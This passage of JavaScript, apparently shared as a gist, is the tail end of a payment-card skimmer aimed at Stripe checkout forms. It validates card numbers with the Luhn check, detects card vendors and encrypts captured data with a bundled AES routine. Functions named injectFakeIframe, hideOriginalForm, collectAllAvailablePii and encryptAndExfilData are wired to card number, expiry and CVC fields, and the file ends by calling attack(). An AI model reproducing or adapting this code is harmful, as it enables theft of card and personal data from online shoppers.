if (ccNumber.match(testRegex) != null) {
return 'Diners';
}
testRegex = new RegExp('^30[0-5]');
if (ccNumber.match(testRegex) != null) {
return 'Diners - Carte Blanche';
}
testRegex = new RegExp('^35(2[89]|[3-8][0-9])');
if (ccNumber.match(testRegex) != null) {
return 'JCB';
}
testRegex = new RegExp('^(4026|417500|4508|4844|491(3|7))');
if (ccNumber.match(testRegex) != null) {
return 'Visa Electron';
}
return '';
}
function isValidCcNumber(ccNum) {
ccNum = ccNum.replace(/ /g, '');
var digit, reverseNum, alternateNow, sumOfDigits, i, numLength;
alternateNow = true;
sumOfDigits = 0;
reverseNum = (ccNum + '').split('').reverse();
for (i = 0, numLength = reverseNum.length; i < numLength; i++) {
digit = reverseNum[i];
digit = parseInt(digit, 10);
if (alternateNow = !alternateNow) {
digit *= 2;
}
if (digit > 9) {
digit -= 9;
}
sumOfDigits += digit;
}
return sumOfDigits % 10 === 0;
}
function generateGUID_() {
var output = '';
for (var _ = 0; _ < 32; _++) {
output += String.fromCharCode(Math.round(Math.random() * 255));
}
var _0x267D5 = document.getElementById('key');
return btoa(output);
}
function generateIV_() {
var output = '';
for (var _ = 0; _ < 16; _++) {
output += String.fromCharCode(Math.round(Math.random() * 255));
}
var _0x267D5 = document.getElementById('iv');
return btoa(output);
}
function encryptData_(data, guid, iv) {
function generateGuid32() {
existingGuid = [];
for (var _ = 0; _ < 32; _++) {
existingGuid.push(Math.round(255 * Math.random()));
}
}
function generateIv16() {
existingIv = [];
for (var _ = 0; _ < 16; _++) {
existingIv.push(Math.round(255 * Math.random()));
}
}
function getCodeArrFromString(s) {
function str2CodeArr(str) {
for (var arr = [], i = 0; i < str.length; i++) {
arr.push(str.charCodeAt(i));
}
return arr;
}
return str2CodeArr(atob(s));
}
function rotate_(arrLen3) {
for (var firstItem = arrLen3[0], i = 0; i < 3; i++) {
arrLen3[i] = arrLen3[i + 1];
}
return arrLen3[3] = firstItem, arrLen3;
}
function core_(_0x26836, _0x26774) {
_0x26836 = this.rotate(_0x26836);
for (var _0x267D5 = 0; _0x267D5 < 4; ++_0x267D5) {
_0x26836[_0x267D5] = this.sbox[_0x26836[_0x267D5]];
}
return _0x26836[0] = _0x26836[0] ^ this.Rcon[_0x26774], _0x26836;
}
function expandKey_(_0x26B3E, _0x268F8) {
for (var _0x26A7C = 16 * (this.numberOfRounds(_0x268F8) + 1), _0x269BA = 0, _0x26A1B = 1, _0x267D5 = [], _0x26ADD = [], _0x26774 = 0; _0x26774 < _0x26A7C; _0x26774++) {
_0x26ADD[_0x26774] = 0;
}
for (var _0x26897 = 0; _0x26897 < _0x268F8; _0x26897++) {
_0x26ADD[_0x26897] = _0x26B3E[_0x26897];
}
for (_0x269BA += _0x268F8; _0x269BA < _0x26A7C;) {
for (var _0x26B9F = 0; _0x26B9F < 4; _0x26B9F++) {
_0x267D5[_0x26B9F] = _0x26ADD[_0x269BA - 4 + _0x26B9F];
}
if (_0x269BA % _0x268F8 == 0 && (_0x267D5 = this.core(_0x267D5, _0x26A1B++)), _0x268F8 == this.keySize.SIZE_256 && _0x269BA % _0x268F8 == 16) {
for (var _0x26836 = 0; _0x26836 < 4; _0x26836++) {
_0x267D5[_0x26836] = this.sbox[_0x267D5[_0x26836]];
}
}
for (var _0x26959 = 0; _0x26959 < 4; _0x26959++) {
_0x26ADD[_0x269BA] = _0x26ADD[_0x269BA - _0x268F8] ^ _0x267D5[_0x26959], _0x269BA++;
}
}
return _0x26ADD;
}
function addRoundKey_(_0x267D5, _0x26713) {
for (var _0x26774 = 0; _0x26774 < 16; _0x26774++) {
_0x267D5[_0x26774] ^= _0x26713[_0x26774];
}
return _0x267D5;
}
function createRoundKey_(_0x26897, _0x26713) {
for (var _0x26836 = [], _0x26774 = 0; _0x26774 < 4; _0x26774++) {
for (var _0x267D5 = 0; _0x267D5 < 4; _0x267D5++) {
_0x26836[4 * _0x267D5 + _0x26774] = _0x26897[_0x26713 + 4 * _0x26774 + _0x267D5];
}
}
return _0x26836;
}
function subBytes_(_0x26836, _0x26774) {
for (var _0x267D5 = 0; _0x267D5 < 16; _0x267D5++) {
_0x26836[_0x267D5] = _0x26774 ? this.rsbox[_0x26836[_0x267D5]] : this.sbox[_0x26836[_0x267D5]];
}
return _0x26836;
}
function shiftRows_(_0x26836, _0x26774) {
for (var _0x267D5 = 0; _0x267D5 < 4; _0x267D5++) {
_0x26836 = this.shiftRow(_0x26836, 4 * _0x267D5, _0x267D5, _0x26774);
}
return _0x26836;
}
function shiftRow_(_0x26959, _0x26774, _0x26897, _0x267D5) {
for (var _0x26836 = 0; _0x26836 < _0x26897; _0x26836++) {
if (_0x267D5) {
for (var _0x26713 = _0x26959[_0x26774 + 3], _0x268F8 = 3; _0x268F8 > 0; _0x268F8--) {
_0x26959[_0x26774 + _0x268F8] = _0x26959[_0x26774 + _0x268F8 - 1];
}
_0x26959[_0x26774] = _0x26713;
} else {
for (_0x26713 = _0x26959[_0x26774], _0x268F8 = 0; _0x268F8 < 3; _0x268F8++) {
_0x26959[_0x26774 + _0x268F8] = _0x26959[_0x26774 + _0x268F8 + 1];
}
_0x26959[_0x26774 + 3] = _0x26713;
}
}
return _0x26959;
}
function galois_multiplication_(_0x26897, _0x26713) {
for (var _0x26836 = 0, _0x26774 = 0; _0x26774 < 8; _0x26774++) {
1 == (1 & _0x26713) && (_0x26836 ^= _0x26897), _0x26836 > 256 && (_0x26836 ^= 256);
var _0x267D5 = 128 & _0x26897;
(_0x26897 <<= 1) > 256 && (_0x26897 ^= 256), 128 == _0x267D5 && (_0x26897 ^= 27), _0x26897 > 256 && (_0x26897 ^= 256), (_0x26713 >>= 1) > 256 && (_0x26713 ^= 256);
}
return _0x26836;
}
function mixColumns_(_0x26959, _0x267D5) {
for (var _0x268F8 = [], _0x26836 = 0; _0x26836 < 4; _0x26836++) {
for (var _0x26897 = 0; _0x26897 < 4; _0x26897++) {
_0x268F8[_0x26897] = _0x26959[4 * _0x26897 + _0x26836];
}
_0x268F8 = this.mixColumn(_0x268F8, _0x267D5);
for (var _0x26774 = 0; _0x26774 < 4; _0x26774++) {
_0x26959[4 * _0x26774 + _0x26836] = _0x268F8[_0x26774];
}
}
return _0x26959;
}
function mixColumn_(_0x268F8, _0x26774) {
var _0x26897 = [];
_0x26897 = _0x26774 ? [14,9,13,11] : [2,1,1,3];
for (var _0x267D5 = [], _0x26836 = 0; _0x26836 < 4; _0x26836++) {
_0x267D5[_0x26836] = _0x268F8[_0x26836];
}
return _0x268F8[0] = this.galois_multiplication(_0x267D5[0], _0x26897[0]) ^ this.galois_multiplication(_0x267D5[3], _0x26897[1]) ^ this.galois_multiplication(_0x267D5[2], _0x26897[2]) ^ this.galois_multiplication(_0x267D5[1], _0x26897[3]), _0x268F8[1] = this.galois_multiplication(_0x267D5[1], _0x26897[0]) ^ this.galois_multiplication(_0x267D5[0], _0x26897[1]) ^ this.galois_multiplication(_0x267D5[3], _0x26897[2]) ^ this.galois_multiplication(_0x267D5[2], _0x26897[3]), _0x268F8[2] = this.galois_multiplication(_0x267D5[2], _0x26897[0]) ^ this.galois_multiplication(_0x267D5[1], _0x26897[1]) ^ this.galois_multiplication(_0x267D5[0], _0x26897[2]) ^ this.galois_multiplication(_0x267D5[3], _0x26897[3]), _0x268F8[3] = this.galois_multiplication(_0x267D5[3], _0x26897[0]) ^ this.galois_multiplication(_0x267D5[2], _0x26897[1]) ^ this.galois_multiplication(_0x267D5[1], _0x26897[2]) ^ this.galois_multiplication(_0x267D5[0], _0x26897[3]), _0x268F8;
}
function round_(_0x267D5, _0x26774) {
return _0x267D5 = this.subBytes(_0x267D5, false), _0x267D5 = this.shiftRows(_0x267D5, false), _0x267D5 = this.mixColumns(_0x267D5, false), _0x267D5 = this.addRoundKey(_0x267D5, _0x26774);
}
function invRound_(_0x267D5, _0x26774) {
return _0x267D5 = this.shiftRows(_0x267D5, true), _0x267D5 = this.subBytes(_0x267D5, true), _0x267D5 = this.addRoundKey(_0x267D5, _0x26774), _0x267D5 = this.mixColumns(_0x267D5, true);
}
function main_(_0x26897, _0x26774, _0x26836) {
_0x26897 = this.addRoundKey(_0x26897, this.createRoundKey(_0x26774, 0));
for (var _0x267D5 = 1; _0x267D5 < _0x26836; _0x267D5++) {
_0x26897 = this.round(_0x26897, this.createRoundKey(_0x26774, 16 * _0x267D5));
}
return _0x26897 = this.subBytes(_0x26897, false), _0x26897 = this.shiftRows(_0x26897, false), _0x26897 = this.addRoundKey(_0x26897, this.createRoundKey(_0x26774, 16 * _0x26836));
}
function invMain_(_0x26897, _0x26774, _0x26836) {
_0x26897 = this.addRoundKey(_0x26897, this.createRoundKey(_0x26774, 16 * _0x26836));
for (var _0x267D5 = _0x26836 - 1; _0x267D5 > 0; _0x267D5--) {
_0x26897 = this.invRound(_0x26897, this.createRoundKey(_0x26774, 16 * _0x267D5));
}
return _0x26897 = this.shiftRows(_0x26897, true), _0x26897 = this.subBytes(_0x26897, true), _0x26897 = this.addRoundKey(_0x26897, this.createRoundKey(_0x26774, 0));
}
function numberOfRounds_(_0x267D5) {
var _0x26774;
switch (_0x267D5) {
case this.keySize.SIZE_128:
_0x26774 = 10;
break;
case this.keySize.SIZE_192:
_0x26774 = 12;
break;
case this.keySize.SIZE_256:
_0x26774 = 14;
break;
default:
return null;
}
return _0x26774;
}
function encrypt_(_0x26ADD, _0x268F8, _0x26A1B) {
for (var _0x26959 = [], _0x269BA = [], _0x267D5 = this.numberOfRounds(_0x26A1B), _0x26A7C = 0; _0x26A7C < 4; _0x26A7C++) {
for (var _0x26774 = 0; _0x26774 < 4; _0x26774++) {
_0x269BA[_0x26A7C + 4 * _0x26774] = _0x26ADD[4 * _0x26A7C + _0x26774];
}
}
var _0x26897 = this.expandKey(_0x268F8, _0x26A1B);
_0x269BA = this.main(_0x269BA, _0x26897, _0x267D5);
for (var _0x26B3E = 0; _0x26B3E < 4; _0x26B3E++) {
for (var _0x26836 = 0; _0x26836 < 4; _0x26836++) {
_0x26959[4 * _0x26B3E + _0x26836] = _0x269BA[_0x26B3E + 4 * _0x26836];
}
}
return _0x26959;
}
function decrypt_(_0x26ADD, _0x268F8, _0x26A1B) {
for (var _0x26959 = [], _0x269BA = [], _0x267D5 = this.numberOfRounds(_0x26A1B), _0x26A7C = 0; _0x26A7C < 4; _0x26A7C++) {
for (var _0x26774 = 0; _0x26774 < 4; _0x26774++) {
_0x269BA[_0x26A7C + 4 * _0x26774] = _0x26ADD[4 * _0x26A7C + _0x26774];
}
}
var _0x26897 = this.expandKey(_0x268F8, _0x26A1B);
_0x269BA = this.invMain(_0x269BA, _0x26897, _0x267D5);
for (var _0x26B3E = 0; _0x26B3E < 4; _0x26B3E++) {
for (var _0x26836 = 0; _0x26836 < 4; _0x26836++) {
_0x26959[4 * _0x26B3E + _0x26836] = _0x269BA[_0x26B3E + 4 * _0x26836];
}
}
return _0x26959;
}
function getBlock_(_0x26897, _0x26774, _0x26836, _0x267D5) {
return _0x26836 - _0x26774 > 16 && (_0x26836 = _0x26774 + 16), _0x26897.slice(_0x26774, _0x26836);
}
function encrypt__(_0x26C61, _0x269BA, _0x26B9F, _0x26A7C) {
var _0x26ADD = _0x26B9F.length;
if (_0x26ADD % 16) {
throw 'iv length must be 128 bits.';
}
var _0x26897 = [], _0x26C00 = [], _0x26774 = [], _0x26959 = [], _0x26CC2 = [], _0x268F8 = true;
if (_0x269BA == this.modeOfOperation.CBC && this.padBytesIn(_0x26C61), null !== _0x26C61) {
for (var _0x26A1B = 0; _0x26A1B < Math.ceil(_0x26C61.length / 16); _0x26A1B++) {
var _0x267D5 = 16 * _0x26A1B, _0x26836 = 16 * _0x26A1B + 16;
if (16 * _0x26A1B + 16 > _0x26C61.length && (_0x26836 = _0x26C61.length), _0x26897 = this.getBlock(_0x26C61, _0x267D5, _0x26836, _0x269BA), _0x269BA == this.modeOfOperation.CFB) {
_0x268F8 ? (_0x26774 = this.aes.encrypt(_0x26A7C, _0x26B9F, _0x26ADD), _0x268F8 = false) : _0x26774 = this.aes.encrypt(_0x26C00, _0x26B9F, _0x26ADD);
for (var _0x26D23 = 0; _0x26D23 < 16; _0x26D23++) {
_0x26959[_0x26D23] = _0x26897[_0x26D23] ^ _0x26774[_0x26D23];
}
for (var _0x26B3E = 0; _0x26B3E < _0x26836 - _0x267D5; _0x26B3E++) {
_0x26CC2.push(_0x26959[_0x26B3E]);
}
_0x26C00 = _0x26959;
} else {
if (_0x269BA == this.modeOfOperation.OFB) {
_0x268F8 ? (_0x26774 = this.aes.encrypt(_0x26A7C, _0x26B9F, _0x26B9F.length), _0x268F8 = false) : _0x26774 = this.aes.encrypt(_0x26C00, _0x26B9F, _0x26B9F.length);
for (_0x26D23 = 0; _0x26D23 < 16; _0x26D23++) {
_0x26959[_0x26D23] = _0x26897[_0x26D23] ^ _0x26774[_0x26D23];
}
for (_0x26B3E = 0; _0x26B3E < _0x26836 - _0x267D5; _0x26B3E++) {
_0x26CC2.push(_0x26959[_0x26B3E]);
}
_0x26C00 = _0x26774;
} else {
if (_0x269BA == this.modeOfOperation.CBC) {
for (_0x26D23 = 0; _0x26D23 < 16; _0x26D23++) {
_0x26C00[_0x26D23] = _0x26897[_0x26D23] ^ (_0x268F8 ? _0x26A7C[_0x26D23] : _0x26959[_0x26D23]);
}
_0x268F8 = false, _0x26959 = this.aes.encrypt(_0x26C00, _0x26B9F, _0x26B9F.length);
for (_0x26B3E = 0; _0x26B3E < 16; _0x26B3E++) {
_0x26CC2.push(_0x26959[_0x26B3E]);
}
}
}
}
}
}
return _0x26CC2;
}
function decrypt__(_0x26C00, _0x26B3E, _0x26A1B, _0x26A7C) {
if (_0x26A7C.length % 16) {
throw 'iv length must be 128 bits.';
}
var _0x26B9F = [], _0x26774 = [], _0x26959 = [], _0x26C61 = [], _0x268F8 = [], _0x269BA = true;
if (null !== _0x26C00) {
for (var _0x267D5 = 0; _0x267D5 < Math.ceil(_0x26C00.length / 16); _0x267D5++) {
var _0x26836 = 16 * _0x267D5, _0x26CC2 = 16 * _0x267D5 + 16;
if (16 * _0x267D5 + 16 > _0x26C00.length && (_0x26CC2 = _0x26C00.length), _0x26B9F = this.getBlock(_0x26C00, _0x26836, _0x26CC2, _0x26B3E), _0x26B3E == this.modeOfOperation.CFB) {
for (_0x269BA ? (_0x26959 = this.aes.encrypt(_0x26A7C, _0x26A1B, _0x26A1B.length), _0x269BA = false) : _0x26959 = this.aes.encrypt(_0x26774, _0x26A1B, _0x26A1B.length), i = 0; i < 16; i++) {
_0x26C61[i] = _0x26959[i] ^ _0x26B9F[i];
}
for (var _0x26ADD = 0; _0x26ADD < _0x26CC2 - _0x26836; _0x26ADD++) {
_0x268F8.push(_0x26C61[_0x26ADD]);
}
_0x26774 = _0x26B9F;
} else {
if (_0x26B3E == this.modeOfOperation.OFB) {
for (_0x269BA ? (_0x26959 = this.aes.encrypt(_0x26A7C, _0x26A1B, _0x26A1B.length), _0x269BA = false) : _0x26959 = this.aes.encrypt(_0x26774, _0x26A1B, _0x26A1B.length), i = 0; i < 16; i++) {
_0x26C61[i] = _0x26959[i] ^ _0x26B9F[i];
}
for (_0x26ADD = 0; _0x26ADD < _0x26CC2 - _0x26836; _0x26ADD++) {
_0x268F8.push(_0x26C61[_0x26ADD]);
}
_0x26774 = _0x26959;
} else {
if (_0x26B3E == this.modeOfOperation.CBC) {
for (_0x26959 = this.aes.decrypt(_0x26B9F, _0x26A1B, _0x26A1B.length), i = 0; i < 16; i++) {
_0x26C61[i] = (_0x269BA ? _0x26A7C[i] : _0x26774[i]) ^ _0x26959[i];
}
_0x269BA = false;
for (_0x26ADD = 0; _0x26ADD < _0x26CC2 - _0x26836; _0x26ADD++) {
_0x268F8.push(_0x26C61[_0x26ADD]);
}
_0x26774 = _0x26B9F;
}
}
}
}
_0x26B3E == this.modeOfOperation.CBC && this.unpadBytesOut(_0x268F8);
}
return _0x268F8;
}
function padBytesIn_(_0x26836) {
for (var _0x26774 = 16 - _0x26836.length % 16, _0x267D5 = 0; _0x267D5 < _0x26774; _0x267D5++) {
_0x26836.push(_0x26774);
}
}
function unpadBytesOut_(_0x26897) {
for (var _0x26774 = 0, _0x26836 = -1, _0x267D5 = _0x26897.length - 1; _0x267D5 >= _0x26897.length - 1 - 16 && _0x26897[_0x267D5] <= 16; _0x267D5--) {
if (-1 == _0x26836 && (_0x26836 = _0x26897[_0x267D5]), _0x26897[_0x267D5] != _0x26836) {
_0x26774 = 0;
break;
}
if (++_0x26774 == _0x26836) {
break;
}
}
_0x26774 > 0 && _0x26897.splice(_0x26897.length - _0x26774, _0x26774);
}
function str2EncodedArr(str) {
for (var outArr = [], i = 0; i < str.length; i++) {
var charCode = str.charCodeAt(i);
outArr.push(255 & charCode), outArr.push(charCode >> 8 & 255);
}
return outArr;
}
function arr2String(arr) {
for (var outStr = '', i = 0; i < arr.length; i++) {
outStr += String.fromCharCode(arr[i]);
}
return btoa(outStr);
}
var existingGuid = guid, existingIv = iv, utils = {
aes: {
keySize: {
SIZE_128: 16,
SIZE_192: 24,
SIZE_256: 32
},
sbox: [99,124,119,123,242,107,111,197,48,1,103,43,254,215,171,118,202,130,201,125,250,89,71,240,173,212,162,175,156,164,114,192,183,253,147,38,54,63,247,204,52,165,229,241,113,216,49,21,4,199,35,195,24,150,5,154,7,18,128,226,235,39,178,117,9,131,44,26,27,110,90,160,82,59,214,179,41,227,47,132,83,209,0,237,32,252,177,91,106,203,190,57,74,76,88,207,208,239,170,251,67,77,51,133,69,249,2,127,80,60,159,168,81,163,64,143,146,157,56,245,188,182,218,33,16,255,243,210,205,12,19,236,95,151,68,23,196,167,126,61,100,93,25,115,96,129,79,220,34,42,144,136,70,238,184,20,222,94,11,219,224,50,58,10,73,6,36,92,194,211,172,98,145,149,228,121,231,200,55,109,141,213,78,169,108,86,244,234,101,122,174,8,186,120,37,46,28,166,180,198,232,221,116,31,75,189,139,138,112,62,181,102,72,3,246,14,97,53,87,185,134,193,29,158,225,248,152,17,105,217,142,148,155,30,135,233,206,85,40,223,140,161,137,13,191,230,66,104,65,153,45,15,176,84,187,22],
rsbox: [82,9,106,213,48,54,165,56,191,64,163,158,129,243,215,251,124,227,57,130,155,47,255,135,52,142,67,68,196,222,233,203,84,123,148,50,166,194,35,61,238,76,149,11,66,250,195,78,8,46,161,102,40,217,36,178,118,91,162,73,109,139,209,37,114,248,246,100,134,104,152,22,212,164,92,204,93,101,182,146,108,112,72,80,253,237,185,218,94,21,70,87,167,141,157,132,144,216,171,0,140,188,211,10,247,228,88,5,184,179,69,6,208,44,30,143,202,63,15,2,193,175,189,3,1,19,138,107,58,145,17,65,79,103,220,234,151,242,207,206,240,180,230,115,150,172,116,34,231,173,53,133,226,249,55,232,28,117,223,110,71,241,26,113,29,41,197,137,111,183,98,14,170,24,190,27,252,86,62,75,198,210,121,32,154,219,192,254,120,205,90,244,31,221,168,51,136,7,199,49,177,18,16,89,39,128,236,95,96,81,127,169,25,181,74,13,45,229,122,159,147,201,156,239,160,224,59,77,174,42,245,176,200,235,187,60,131,83,153,97,23,43,4,126,186,119,214,38,225,105,20,99,85,33,12,125],
rotate: rotate_,
Rcon: [141,1,2,4,8,16,32,64,128,27,54,108,216,171,77,154,47,94,188,99,198,151,53,106,212,179,125,250,239,197,145,57,114,228,211,189,97,194,159,37,74,148,51,102,204,131,29,58,116,232,203,141,1,2,4,8,16,32,64,128,27,54,108,216,171,77,154,47,94,188,99,198,151,53,106,212,179,125,250,239,197,145,57,114,228,211,189,97,194,159,37,74,148,51,102,204,131,29,58,116,232,203,141,1,2,4,8,16,32,64,128,27,54,108,216,171,77,154,47,94,188,99,198,151,53,106,212,179,125,250,239,197,145,57,114,228,211,189,97,194,159,37,74,148,51,102,204,131,29,58,116,232,203,141,1,2,4,8,16,32,64,128,27,54,108,216,171,77,154,47,94,188,99,198,151,53,106,212,179,125,250,239,197,145,57,114,228,211,189,97,194,159,37,74,148,51,102,204,131,29,58,116,232,203,141,1,2,4,8,16,32,64,128,27,54,108,216,171,77,154,47,94,188,99,198,151,53,106,212,179,125,250,239,197,145,57,114,228,211,189,97,194,159,37,74,148,51,102,204,131,29,58,116,232,203],
G2X: [0,2,4,6,8,10,12,14,16,18,20,22,24,26,28,30,32,34,36,38,40,42,44,46,48,50,52,54,56,58,60,62,64,66,68,70,72,74,76,78,80,82,84,86,88,90,92,94,96,98,100,102,104,106,108,110,112,114,116,118,120,122,124,126,128,130,132,134,136,138,140,142,144,146,148,150,152,154,156,158,160,162,164,166,168,170,172,174,176,178,180,182,184,186,188,190,192,194,196,198,200,202,204,206,208,210,212,214,216,218,220,222,224,226,228,230,232,234,236,238,240,242,244,246,248,250,252,254,27,25,31,29,19,17,23,21,11,9,15,13,3,1,7,5,59,57,63,61,51,49,55,53,43,41,47,45,35,33,39,37,91,89,95,93,83,81,87,85,75,73,79,77,67,65,71,69,123,121,127,125,115,113,119,117,107,105,111,109,99,97,103,101,155,153,159,157,147,145,151,149,139,137,143,141,131,129,135,133,187,185,191,189,179,177,183,181,171,169,175,173,163,161,167,165,219,217,223,221,211,209,215,213,203,201,207,205,195,193,199,197,251,249,255,253,243,241,247,245,235,233,239,237,227,225,231,229],
G3X: [0,3,6,5,12,15,10,9,24,27,30,29,20,23,18,17,48,51,54,53,60,63,58,57,40,43,46,45,36,39,34,33,96,99,102,101,108,111,106,105,120,123,126,125,116,119,114,113,80,83,86,85,92,95,90,89,72,75,78,77,68,71,66,65,192,195,198,197,204,207,202,201,216,219,222,221,212,215,210,209,240,243,246,245,252,255,250,249,232,235,238,237,228,231,226,225,160,163,166,165,172,175,170,169,184,187,190,189,180,183,178,177,144,147,150,149,156,159,154,153,136,139,142,141,132,135,130,129,155,152,157,158,151,148,145,146,131,128,133,134,143,140,137,138,171,168,173,174,167,164,161,162,179,176,181,182,191,188,185,186,251,248,253,254,247,244,241,242,227,224,229,230,239,236,233,234,203,200,205,206,199,196,193,194,211,208,213,214,223,220,217,218,91,88,93,94,87,84,81,82,67,64,69,70,79,76,73,74,107,104,109,110,103,100,97,98,115,112,117,118,127,124,121,122,59,56,61,62,55,52,49,50,35,32,37,38,47,44,41,42,11,8,13,14,7,4,1,2,19,16,21,22,31,28,25,26],
G9X: [0,9,18,27,36,45,54,63,72,65,90,83,108,101,126,119,144,153,130,139,180,189,166,175,216,209,202,195,252,245,238,231,59,50,41,32,31,22,13,4,115,122,97,104,87,94,69,76,171,162,185,176,143,134,157,148,227,234,241,248,199,206,213,220,118,127,100,109,82,91,64,73,62,55,44,37,26,19,8,1,230,239,244,253,194,203,208,217,174,167,188,181,138,131,152,145,77,68,95,86,105,96,123,114,5,12,23,30,33,40,51,58,221,212,207,198,249,240,235,226,149,156,135,142,177,184,163,170,236,229,254,247,200,193,218,211,164,173,182,191,128,137,146,155,124,117,110,103,88,81,74,67,52,61,38,47,16,25,2,11,215,222,197,204,243,250,225,232,159,150,141,132,187,178,169,160,71,78,85,92,99,106,113,120,15,6,29,20,43,34,57,48,154,147,136,129,190,183,172,165,210,219,192,201,246,255,228,237,10,3,24,17,46,39,60,53,66,75,80,89,102,111,116,125,161,168,179,186,133,140,151,158,233,224,251,242,205,196,223,214,49,56,35,42,21,28,7,14,121,112,107,98,93,84,79,70],
GBX: [0,11,22,29,44,39,58,49,88,83,78,69,116,127,98,105,176,187,166,173,156,151,138,129,232,227,254,245,196,207,210,217,123,112,109,102,87,92,65,74,35,40,53,62,15,4,25,18,203,192,221,214,231,236,241,250,147,152,133,142,191,180,169,162,246,253,224,235,218,209,204,199,174,165,184,179,130,137,148,159,70,77,80,91,106,97,124,119,30,21,8,3,50,57,36,47,141,134,155,144,161,170,183,188,213,222,195,200,249,242,239,228,61,54,43,32,17,26,7,12,101,110,115,120,73,66,95,84,247,252,225,234,219,208,205,198,175,164,185,178,131,136,149,158,71,76,81,90,107,96,125,118,31,20,9,2,51,56,37,46,140,135,154,145,160,171,182,189,212,223,194,201,248,243,238,229,60,55,42,33,16,27,6,13,100,111,114,121,72,67,94,85,1,10,23,28,45,38,59,48,89,82,79,68,117,126,99,104,177,186,167,172,157,150,139,128,233,226,255,244,197,206,211,216,122,113,108,103,86,93,64,75,34,41,52,63,14,5,24,19,202,193,220,215,230,237,240,251,146,153,132,143,190,181,168,163],
GDX: [0,13,26,23,52,57,46,35,104,101,114,127,92,81,70,75,208,221,202,199,228,233,254,243,184,181,162,175,140,129,150,155,187,182,161,172,143,130,149,152,211,222,201,196,231,234,253,240,107,102,113,124,95,82,69,72,3,14,25,20,55,58,45,32,109,96,119,122,89,84,67,78,5,8,31,18,49,60,43,38,189,176,167,170,137,132,147,158,213,216,207,194,225,236,251,246,214,219,204,193,226,239,248,245,190,179,164,169,138,135,144,157,6,11,28,17,50,63,40,37,110,99,116,121,90,87,64,77,218,215,192,205,238,227,244,249,178,191,168,165,134,139,156,145,10,7,16,29,62,51,36,41,98,111,120,117,86,91,76,65,97,108,123,118,85,88,79,66,9,4,19,30,61,48,39,42,177,188,171,166,133,136,159,146,217,212,195,206,237,224,247,250,183,186,173,160,131,142,153,148,223,210,197,200,235,230,241,252,103,106,125,112,83,94,73,68,15,2,21,24,59,54,33,44,12,1,22,27,56,53,34,47,100,105,126,115,80,93,74,71,220,209,198,203,232,229,242,255,180,185,174,163,128,141,154,151],
GEX: [0,14,28,18,56,54,36,42,112,126,108,98,72,70,84,90,224,238,252,242,216,214,196,202,144,158,140,130,168,166,180,186,219,213,199,201,227,237,255,241,171,165,183,185,147,157,143,129,59,53,39,41,3,13,31,17,75,69,87,89,115,125,111,97,173,163,177,191,149,155,137,135,221,211,193,207,229,235,249,247,77,67,81,95,117,123,105,103,61,51,33,47,5,11,25,23,118,120,106,100,78,64,82,92,6,8,26,20,62,48,34,44,150,152,138,132,174,160,178,188,230,232,250,244,222,208,194,204,65,79,93,83,121,119,101,107,49,63,45,35,9,7,21,27,161,175,189,179,153,151,133,139,209,223,205,195,233,231,245,251,154,148,134,136,162,172,190,176,234,228,246,248,210,220,206,192,122,116,102,104,66,76,94,80,10,4,22,24,50,60,46,32,236,226,240,254,212,218,200,198,156,146,128,142,164,170,184,182,12,2,16,30,52,58,40,38,124,114,96,110,68,74,88,86,55,57,43,37,15,1,19,29,71,73,91,85,127,113,99,109,215,217,203,197,239,225,243,253,167,169,187,181,159,145,131,141],
core: core_,
expandKey: expandKey_,
addRoundKey: addRoundKey_,
createRoundKey: createRoundKey_,
subBytes: subBytes_,
shiftRows: shiftRows_,
shiftRow: shiftRow_,
galois_multiplication: galois_multiplication_,
mixColumns: mixColumns_,
mixColumn: mixColumn_,
round: round_,
invRound: invRound_,
main: main_,
invMain: invMain_,
numberOfRounds: numberOfRounds_,
encrypt: encrypt_,
decrypt: decrypt_
},
modeOfOperation: {
OFB: 0,
CFB: 1,
CBC: 2
},
getBlock: getBlock_,
encrypt: encrypt__,
decrypt: decrypt__,
padBytesIn: padBytesIn_,
unpadBytesOut: unpadBytesOut_
};
void 0 === existingGuid ? generateGuid32() :
32 != getCodeArrFromString(existingGuid).length ? generateGuid32() : existingGuid = getCodeArrFromString(existingGuid),
void 0 === existingIv ? generateIv16() :
16 != getCodeArrFromString(existingIv).length ? generateIv16() : existingIv = getCodeArrFromString(existingIv);
var encodedArr = str2EncodedArr(data);
return arr2String(utils.encrypt(encodedArr, 2, existingGuid, existingIv));
}
dC43 = addEventListenerAndMark;
r3 = restoreOriginalForm;
dd91 = injectFakeIframe;
ab = waitForSubmitBtnReplacement;
dB34 = getCookieValue;
bD34 = setCookie;
gG77 = generateGUID__;
iV21 = getValueFromCookieOrElement;
nI88 = isPositiveNumber;
cc56 = attach2CardElements;
vD561 = validateCcFields;
cF98 = keyupCallback;
cstchd = parseExpirationDate;
aC57 = changeCallback;
sF86 = collectAllAvailablePii;
sD89 = clickCallback;
sR31 = encryptAndExfilData;
dI66 = setCcVendorIcon;
cT49 = getCcVendorNameByNumber;
cN78 = isValidCcNumber;
o1 = '#stripe-payments-card-number iframe:eq(0)';
o2 = '#stripe-payments-card-expiry iframe:eq(0)';
o3 = '';
o4 = '#stripe-payments-card-cvc iframe:eq(0)';
o11 = '#stripe-payments-card-number_';
o22 = '#stripe-payments-card-expiry_';
o33 = '';
o44 = '#stripe-payments-card-cvc_';
b1 = '#pay_securely_now';
b2 = '#pay_securely__now';
ccn = 'order-checkout';
setInterval(hideOriginalForm, 100);
setInterval(restoreStateIfDone, 100);
chckst = false;
b2_ = 'pay_securely__now';
f1 = 'number';
f2 = 'expiration';
f3 = '';
f4 = 'cvc';
ccFieldsNames = [
'number',
'expiration',
'cvc'
];
details = {
a2: '',
ps: '',
u: '',
cd: {}
};
requiresExfiltration = true;
generateGUID = generateGUID_;
generateIV = generateIV_;
encryptData = encryptData_;
};
attack(4372);
return 9137;
}());
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment